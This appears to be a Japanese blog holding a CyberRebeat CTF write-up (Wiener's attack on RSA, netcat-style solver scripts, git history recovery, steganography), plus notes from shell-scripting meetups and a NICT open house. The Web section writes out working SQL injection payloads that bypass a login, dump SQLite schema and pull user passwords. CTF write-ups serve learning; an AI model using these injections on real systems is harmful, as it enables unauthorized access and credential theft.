    7d:24:46:15:6e:99:a9:c7:96:3d:ed:d6:77:63:38:
    70:8f:0e:6f:ee:3a:90:80:4f:d6:d5:b4:67:e0:98:
    d7:a0:e2:f0:cc:90:70:92:f6:7e:68:14:b9:8a:aa:
    fb:df:82:a4:25:04:35:b1:a2:eb:0f:98:5e:18:49:
    06:b0:53:8c:30:0d:7a:d5:fd:62:36:5e:73:5e:a2:
    c8:2b:6e:0a:98:47:e4:ab:22:07:67:88:ea:c8:68:
    a0:17:23:3d:12:6b:2c:0a:5c:8c:fe:a5:65:c0:f6:
    cf:9d
Exponent:
    00:b4:57:8e:b1:c5:f8:c4:7c:07:69:4e:2a:45:96:
    97:6d:ac:84:35:01:56:ed:1e:03:f7:c1:2b:30:79:
    c0:34:58:b3:e2:dd:94:49:91:fb:de:89:5c:66:f8:
    ad:9a:7a:f8:7a:7e:2d:14:b4:d0:60:cb:d1:7c:c3:
    55:b5:4c:86:5d:cc:74:f7:03:f7:b2:e2:20:4e:0d:
    60:2d:01:63:8f:b3:6e:ae:ec:89:9a:d7:22:56:90:
    7e:e5:32:2e:80:b8:b2:58:95:58:9f:1c:e6:bd:1c:
    a9:8c:38:53:82:07:b1:69:69:01:8f:8c:2f:0e:a5:
    3c:96:64:0d:00:3f:2b:57:af:3e:e0:96:52:44:a9:
    d3:72:43:2b:5b:3a:41:32:50:8b:70:ce:05:17:60:
    fb:9e:5f:70:b9:c9:cb:0e:56:eb:0b:7f:c2:04:d4:
    eb:b8:68:3b:b8:e5:c6:4a:49:b4:7b:c6:c9:2b:d0:
    5c:bf:ae:b8:f6:aa:35:0a:48:e3:0a:4b:5b:9d:c8:
    33:7f:6b:96:46:29:52:01:89:83:13:cf:cf:4f:a7:
    0f:0b:c1:d8:fc:d1:1a:0b:e9:6e:4a:16:32:76:f9:
    96:57:63:d5:fc:9c:fd:a7:26:0d:40:2d:2c:bd:f1:
    73:b4:bf:74:61:10:30:71:3b:4f:8d:5f:5b:ef:e7:
    33:e1
writing RSA key
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAQEA96qCszhlTcVbQc5sMMKU
PxLrnE3wkCT+nXcxkJ+o/MiSeHpZq8/PXRgSAy6PnqddqtXVbGcrqyfIvYOT+Suz
+OLy4YjL26iWGzXlVPWuisY5I/mig9kAosVBMm2BEhVu/tVXwdwJBTn21sXQdiWX
3BPYtukq7STcp4jAZMvfuMbU2n+6d3CeJ3ARGbvRJLn8nqznldR9JEYVbpmpx5Y9
7dZ3Yzhwjw5v7jqQgE/W1bRn4JjXoOLwzJBwkvZ+aBS5iqr734KkJQQ1saLrD5he
GEkGsFOMMA161f1iNl5zXqLIK24KmEfkqyIHZ4jqyGigFyM9EmssClyM/qVlwPbP
nQKCAQEAtFeOscX4xHwHaU4qRZaXbayENQFW7R4D98ErMHnANFiz4t2USZH73olc
Zvitmnr4en4tFLTQYMvRfMNVtUyGXcx09wP3suIgTg1gLQFjj7NuruyJmtciVpB+
5TIugLiyWJVYnxzmvRypjDhTggexaWkBj4wvDqU8lmQNAD8rV68+4JZSRKnTckMr
WzpBMlCLcM4FF2D7nl9wucnLDlbrC3/CBNTruGg7uOXGSkm0e8bJK9Bcv6649qo1
CkjjCktbncgzf2uWRilSAYmDE8/PT6cPC8HY/NEaC+luShYydvmWV2PV/Jz9pyYN
QC0svfFztL90YRAwcTtPjV9b7+cz4Q==
-----END PUBLIC KEY-----

e(Exponent:の所)がめちゃめちゃデカイ(通常は、60000とかそんなオーダー)ので、Wiener's Attackという方法で秘密鍵を作ることができる

という訳でココを参考にする(これを解くpythonスクリプトが公開されている)

RSAwienerHacker.py

'''
Created on Dec 14, 2011

@author: pablocelayes
'''

import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator

def hack_RSA(e,n):
    '''
    Finds d knowing (e,n)
    applying the Wiener continued fraction attack
    '''
    frac = ContinuedFractions.rational_to_contfrac(e, n)

 中略

if __name__ == "__main__":
    #test_is_perfect_square()
    #print("-------------------------")
    #test_hack_RSA()
    e=22766071057080311941289025090582171055356241374729867687887721165996480747230400879635593368509050250879664911119593845131632736205037337764476149970317207453325852306744743355843865620488975017552101697514723815810433086583097066849281143179649731453788074604410013059110037363738062212112776408805474047616975914133565204728262194785129197335550911873746857764241100489778203898866941412395489839653170240092405989209278646213522785197290066584628647242197250525516210135602818305240062919066210956719110372916047407851800476348031106117342132809755720425300509425412742257946576118121595189882915440991231610926049
    n=31264943211208004265136257812922871300684039354012330190834942986731934389912197706421706868451670101634969269274623828581050676733228020854883441494567900924428451571798331504026565707472121772002140681756280190535290943933921834846379665606960802397274296703426557981596105415677658499356618548233939389723076124471098440146923189296244078349641695576997335766674231277153794543785116533620076935082137870329278026757983028280620935089387958708697459641119539250284149601503334899598799831125405703179815161182156366487341348125463136351944709488739527831476641990338237417959538685045943046162779336438891834429341
    c=24567627059377562868105614484423886273024535858360108293709261679303974926550497189439318672624908577264506046476457095137786384831468525272589929094908337881436149324019794812804219891902253459573562430438939521995518048214801992716419439933946327566830472479815195083586095517593863373723430345120492159440493853454549917293994609440452210512119496727038202944137382941943646738720300878617094056966029945525818099278253655536613076435706468907044890014106958504434142807788873217030828773024692575731383406593586446571051817010298103654965540184106091735284849357722355533064377719568465964571451310703450179760412

    hacked_d = hack_RSA(e, n)

    m=pow(c, hacked_d, n)
    print m
    print("%0512x" %m).decode("hex") 

出た

$ python RSAwienerHacker.py 
Hacked!
11405121556080574200507976540560550567250962398176989090968706090657735628827286003460256776456266696526501583189995873715586019586481188841669553558064962347526003585805296128704234019155927711938147927921799855258102900099957024052894182297906442193293573956451926259091091855321350867274034175705817860160056101092426800441790539634641631263205085840727897980883608411419899029774809300174380547858121642152179538920767606647604516848492915723070085962700864043872803063238370675580861448504677111372925814117825694429346520229939794702430188586491323156507194176,`/nIPSG766*|,zso123097695888071358419235048714
Dx abyb}0<ƁOGK}
B."Yϱ
     򿍨2:JY\     umU2y*4ԄqquᯖwL CRCTF{On that day, there was definitely something behind Warlock's disappearance.}

Misc - Readme

Misc_readme.jpg

気合で読む、こんな感じ

Misc_readme_excel.jpg

Programing - Calculation

nc 59.106.212.75 8080

こういう問題文。繋ぐと計算式が表示されて、計算結果を返すのを繰り返す
みんな好きな言語でプログラミングすると思うんだけど、こういうのシェルスクリプトでサクッといけるんやで

#!/bin/sh

exec 5<>/dev/tcp/59.106.212.75/8080

for I in {1..101}
do
  cat 0<&5>test.txt &
    sleep 1
    pkill cat
    ANSWER=`cat test.txt|tail -1|sed 's/=//g'|tr -d $'\357\273\277'|bc`
    echo ${ANSWER} >&5
    echo Debug [${I}] $(cat test.txt) '=' ${ANSWER}
done

exit 0

Programing - Prime Factor

Answer the maximum prime factor.

nc 59.106.212.75 8081

example:
Question:120
Answer:5 (Prime Factors: 2, 3, 5)

こういうのもシェルスクリプトでサクッといけるんやで(2回目)

#!/bin/sh

exec 5<>/dev/tcp/59.106.212.75/8081

for I in {1..101}
do
  cat 0<&5>test.txt &
    sleep 1
    pkill cat
    ANSWER=`cat test.txt|tail -1|sed 's/=//g'|tr -d $'\357\273\277'|factor|awk '{print $NF}'`
    echo ${ANSWER} >&5
    echo Debug [${I}] $(cat test.txt) '=' ${ANSWER}
done

exit 0

Recon - Tweet

Let's check our official twitter account!

はい

Recon - CyberRebeatScripts

Do you know Github?

調べると出てくる

https://github.com/ennach/CyberRebeatScripts

これを git clone して、git log -p する

commit 86cc1779522ad0708ad0b829935b08ac42b2588d
Author: ennach <ennach@gmail.com>
Date:   Tue Sep 4 22:38:27 2018 +0900

    delete FLAG

diff --git a/chapter1-1en.txt b/chapter1-1en.txt
index db0ded3..a16cc12 100644
--- a/chapter1-1en.txt
+++ b/chapter1-1en.txt
@@ -98,7 +98,6 @@
 "Hiro, I'll take the lady to go."
 "Neko-san already did that joke."
 @erase_chara
-@FLAG=CRCTF{I cut down her gag in a single strike}

Recon - I changed my history on Github!

I changed my history on Github!

ちょっとハマった。該当のリポジトリ

https://github.com/ennach/ChangeHistory

消されたコミットIDは、このページから解る

https://github.com/ennach

[ToDo] I committed the FLAG by mistake!

That commit hash is c476614bc439fe1910e494422b3aa207b776d486 I have to remove it!

無かった事にされたコミットIDは、git cloneしても持ってこれない
ただGitHub上にはあるという事を以下のサイトで知った

No Purpose - GitHub、消えたコミットを追え
http://highwide.hatenablog.com/entry/2015/02/06/204552

という訳で、以下にアクセスすると解る
https://github.com/ennach/ChangeHistory/commit/c476614bc439fe1910e494422b3aa207b776d486

+ からあげとご飯を皿に移し、電子レンジへ放り込む。
+ ちなみにこの電子レンジ、家電の中でも特に魔改造が施されていて、インターフェースまわりは原形を留めてすらいない。代わりにメインの組み込み系がクラックされていて、通常は使用できないモードや機能が使えるようになっているのだという。
+ なんの役にも立たないし、使う気もないのでそちらの機能を試したことは一度もないが。
+「この量なら2分くらいかな」
+ コマンドラインを呼び出し、電子レンジに命令を送る。条件はデフォルト、ただしタイマーのみ120sに設定。実行コマンドを入力して送信すると、ノータイムで目の前の電子レンジが回り始めた。
+ まるで隣の家に宅配便を送るみたいな迂遠さだ。
+「これ、もっとどうにかならないの?」
+「CRCTF{the timer is set to 120 seconds}」

Stegano - secret.pdf

黒塗りされたpdfが渡される

Stegano_secretpdf.jpg

コピペで中身見れる

FLAG is CRCTF{I don't know of a time without the internet}

Stegano - Alpha

Stegano_alpha.png

これに何か入っているらしい
色んな画像ソフトで画質調整すると、おそよ文字っぽいものが見えるのだけど、男性の部分が邪魔して全体が見えない

Stegano_secretpdf1.jpg

png画像のアルファチャンネルだけ上手く抽出できれば良さそうなのだけれど、その方法に難儀していた

うさみみハリケーンの付属ソフト「青い空を見上げればいつもそこに白い猫」で解析できることが解った

うさみみハリケーン Ver 0.28 最新オンラインヘルプ - ステガノグラフィーの解析について
https://digitaltravesia.jp/usamimihurricane/webhelp/_RESOURCE/MenuItem/another/anotherAboutSteganography.html

と、言うわけで「青い空を見上げればいつもそこに白い猫」使うと解る

Stegano_secretpdf2.jpg 60%

Stegano - Last 5 boxes

The FLAG is hiding at the last 5 boxes.

https://cyberrebeat.adctf.online/static/a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4

けっこう時間かかった。。

mp4の動画に隠された情報を見つけろいう事やね。どうやらmp4はボックス構造というのになっているらしい
mp4boxというツールで見てみる

<?xml version="1.0" encoding="UTF-8"?>
<!--MP4Box dump trace-->
<IsoMediaFile xmlns="urn:mpeg:isobmff:schema:file:2016" Name="a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4">
<FileTypeBox Size="40" Type="ftyp" Specification="p12" Container="file" MajorBrand="M4V " MinorVersion="0">
<BrandEntry AlternateBrand="M4V "/>
<BrandEntry AlternateBrand="M4A "/>

中略

</MovieBox>
<MediaDataBox Size="20902115" Type="mdat" Specification="p12" Container="file" dataSize="20902107">
</MediaDataBox>
<UUIDBox Size="1024" Type="uuid" UUID="{18E66A6B-FBDF0D41-80DF83B8-E1CE2B59}" Specification="unknown" Container="unknown" >
</UUIDBox>
<UUIDBox Size="1024" Type="uuid" UUID="{07B14494-B8E2AF4D-9BD6652B-52052AC6}" Specification="unknown" Container="unknown" >
</UUIDBox>
<UUIDBox Size="1024" Type="uuid" UUID="{14C6D472-C69F4846-ACD23749-2ED79CB9}" Specification="unknown" Container="unknown" >
</UUIDBox>
<UUIDBox Size="1024" Type="uuid" UUID="{792E16CC-B4887445-AC310002-334FD627}" Specification="unknown" Container="unknown" >
</UUIDBox>
<UUIDBox Size="1612" Type="uuid" UUID="{C386DEC1-144E214D-9BBE788C-4474F39F}" Specification="unknown" Container="unknown" >
</UUIDBox>
</IsoMediaFile>

なんか1024,1024,1024,1024,1612byteのデータがお尻にくっついているっぽい
見てみますか

Stegano_Last5boxes1.png

あ、赤い所見てみたら「臼NG」の文字が(目grep)、pngファイルのマジックバイトやコレ
きっとお尻にpngがくっついてるね!
しかし、これを切り出して表示したけど、真っ黒

おそらく、残りの4box分のヘッダ情報を取り除かなければ!
ファイルフォーマットを確認してみる

あるべるのIT関連メモ - MP4(コンテナ) - 1.Box構造
https://albel06.hatenablog.com/entry/2017/12/20/205103

こうなってて

aligned(8) class Box (unsigned int(32) box type, 
                      optional unsigned int(8)[16] extended_type) {
    unsigned int(32) size;
    unsigned int(32) type = boxtype;
    if (size == 1) {
        unsigned int(64) largesize;
    } else if (size == 0) {
        // box extends to end of file
    }
    if (boxtype == 'uuid') {
        unsigned int(8)[16] usertype = extended_type;
    }
}

こうなってるらしい

ユーザー定義Box
Boxの定義にはoptionalでextended_typeというものがあり、ユーザーがuuidを設定することでユニークなユーザー定義Boxを使用することができる。そのときのBoxタイプは'uuid'とし、typeの後ろに16byteのuuidを記録する。uuid Box以下、残りの領域は自由に定義が可能。

どうも24byte分の情報を除く(残り四箇所)しなきゃいけないらしい。確認してみる

Stegano_Last5boxes2.png

あーはいはい、そういうことね完全に理解した
仕様通りや

00 00 04 00 : size 1024 byte
75 75 69 64 : type "uuid"
07B14494-B8E2AF4D-9BD6652B-52052AC6 : uuid

という訳でこれらを削除してpng画像完成!

Stegano_Last5boxes3.png

Web - White page

http://hidden-field.cyberrebeat.adctf.online/index.php
id:Hiro
password:LittleGarden

ログインしたくてもできないページ
Chromeのデベロッパーツールで開くとINPUTタグにhidden属性がついてる
これをデベロッパーツールで削除すればログインできる

Web_Whitepage1.png

はい

Web_Whitepage2.png

Web - Uploader

Find the secret file.
http://sqli.cyberrebeat.adctf.online/index.php

id:guest
pass:guest

なんかいろいろやっていると SQL Injection の脆弱性を見つけた
エラーメッセージからSQLiteだという事もわかった

File Name: にこれを入力

' OR 'A' = 'A' --

Web_Uploader1.png

secret.zipが出てきた。ダウンロードしたらzipパスワードかかってる

SQLiteとわかったので、テーブル情報を抜く

' OR 'A' = 'A' union select name,sql,null,null from sqlite_master where type='table' --

Web_Uploader2.png

Files   CREATE TABLE "Files" ( `id` INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, `file_name` TEXT NOT NULL, `publication_date`   INTEGER NOT NULL, `upload_userid`   TEXT )      
Users   CREATE TABLE `Users` ( `userid` TEXT NOT NULL, `password`   TEXT NOT NULL )     
sqlite_sequence CREATE TABLE sqlite_sequence(name,seq)  

ふんふむ。こんなテーブルだね

Files

id file_name publication_date upload_userid
? ? ? ?

Users

userid password
? ?

じゃ、Usersテーブルからパスワード抜きましょ

' OR 'A' = 'A' union select userid,password,null,null from Users --

Web_Uploader3.png

じゃ、harada seishin0129 でログインしましょう!

Web_Uploader4.png

ほい、zipのパスワードゲット!
zip展開して、コレ

CRCTF{Today's_internet_is_full_of_concerning_vulnerabilities}

jus共催 第37回シェル芸bot生きてるか(中略)シェル芸bot向けシェル芸勉強会 に参加させて頂きました!

kanata7ヶ月前に追加

むしろまとめが出来たらここに貼りたく

jus共催 第37回シェル芸勉強会リンク集 | 上田ブログ

null

jus共催 第37回シェル芸bot生きてるかどうか分からないけどシェル芸bot向けシェル芸勉強会

2018年9月1日 さくらインターネットさんセミナールームにて。今回は文字コードの話題が多かったです。問題と解答:

午前の部

鳥海さんのスライド
https://umidori.github.io/shellgei-37th-am/

知見

毎回勉強になります。以下、自分用メモ

awkの中でもパイプが使える

matsuya| kakasi -JH -i utf-8 -o utf-8 | awk '{print | "rev" }'

Twitterで表示する際、行頭の半角スペースが削除されちゃうため、.とか入れて改行するsed

echo hoge | sed 1i.

LT

LTした。これ。Unicodeの闇

jus共催 第36回七夕・・・7は素数じゃないですか(しかも2つ)シェル芸勉強会 に参加させて頂きました!

kanata9ヶ月前に追加

jus共催 第36回シェル芸勉強会を開催しました | 上田ブログ

null

jus共催 第36回七夕・・・7は素数じゃないですか(しかも2つ)シェル芸勉強会

2018年7月7日さくらインターネットさんのセミナールームにて出題:

知見

毎回勉強になります。以下、自分用メモ

パイプの出力はループに渡せる

$ seq 10|while read s ;do echo "ループ$((++l))回目" $s; done
ループ1回目 1
ループ2回目 2
ループ3回目 3
ループ4回目 4
ループ5回目 5
ループ6回目 6
ループ7回目 7
ループ8回目 8
ループ9回目 9
ループ10回目 10

peeコマンドは便利(moreutils)

pee is like tee but for pipes. Each command is run and fed a copy of the standard input. The output of all commands is sent to stdout.
Note that while this is similar to tee, a copy of the input is not sent to stdout, like tee does.

LT

深い

素晴らしい…!

LTした。これ。みんなで仕込もうゼロ幅スペース!

NICTオープンハウス2018に行ってきました!

kanata9ヶ月前に追加

年一回、NICTの門が開かれるんですが、平日にやる年が多いです。今年は運良く土曜日にやっていたので行って参りました。

open-house2018 | NICT-情報通信研究機構

【講演者略歴】  熊本県生まれ。東京大学工学部卒業後、ボストン本社の戦略コンサルティング会社ベイン&カンパニーで外資系および日系企業の経営コンサルティングに従事。1992年よりアップルコンピュータ社で市場開発やマーケティング本部長職などを歴任。97年に同社を休職し、陸路でヨーロッパに渡り、フランスの INSEAD 、その後スイス国際経営大学院 (IMD) にて MBA を取得。 ...

全てにおいて、全部面白くお話を聞かせて頂きました。
研究者さんと直接話しが出来て楽しいです(素人でもわかるように説明してくださいます)

気になった展示内容

サイバーセキュリティ関係

SeckHack365の紹介

20180630_NICT1.jpg

WarpDrive

Chromeプラグインでタチコマが怪しいサイトを調査してくれる

https://warpdrive-project.jp/

20180630_NICT2.jpg

STARDUST

スーパーすごいハニーポット

20180630_NICT3.jpg

NIRVANA改弐

これが、カッコよくてすごい便利そうでした。

  • 管理下のサーバのパッチ適用具合が一目瞭然
  • 個別にサーバの停止など、運用管理機能がある

20180630_NICT4.jpg

オペレーションルーム

オペレーションルームを見学させてもらいました!
ここで日本へのサイバー攻撃が監視されているんですね~

20180630_NICT5.jpg

ランチ!

社食が頂ける!

20180630_NICT_lunch.jpg

すぐ使えるやつ

以下は、展示されていましたがすぐ使えるやつ(良さそう)

VoiceTra

期待。ちょっと試してみます。

VoiceTraサポートページ - NICT

NICTが提供する音声翻訳アプリ「VoiceTra」のサポートページです。

DISAANA & D-SUMM

地震が起こったらTwitterとかみちゃうけど、コレみたほうがいいかもしれない
デマを検出する仕組みもあるらしい

DISAANA - 対災害SNS情報分析システム【リアルタイム版】

対災害SNS情報分析システムDISAANAは、今現在のTwitterへの投稿をリアルタイムに分析し、エリアを指定するとそこで発生している災害に関する問題・トラブルを自動的に抽出したり、「大雨が降っているのはどこ」といった質問の回答候補をTwitterの投稿から抽出し、リスト形式または地図形式で表示できます。今まさに起きている災害の情報を簡単に入手する事ができます。パソコン、スマートフォン、タ...

D-SUMM 災害状況要約システム リアルタイム版

D-SUMMは、Twitter上の災害情報を分かりやすく整理・要約するシステムです。

WarpDrive

WarpDrive

攻殻機動隊S.A.C.に登場するAI『タチコマ』を電脳空間にリアライズ。Web媒介型攻撃対策用『タチコマ・セキュリティ・エージェント』を無償配布! 1万⼈規模のPCにインストールされたタチコマたちがユーザのWebアクセスを大規模観測。並列化(情報集約、横断分析、新機能展開等)によりタチコマが成長! ...

1 2 3 ... 12 (1-10/120)

他の形式にエクスポート: Atom

クリップボードから画像を追加 (サイズの上限: 100 MB)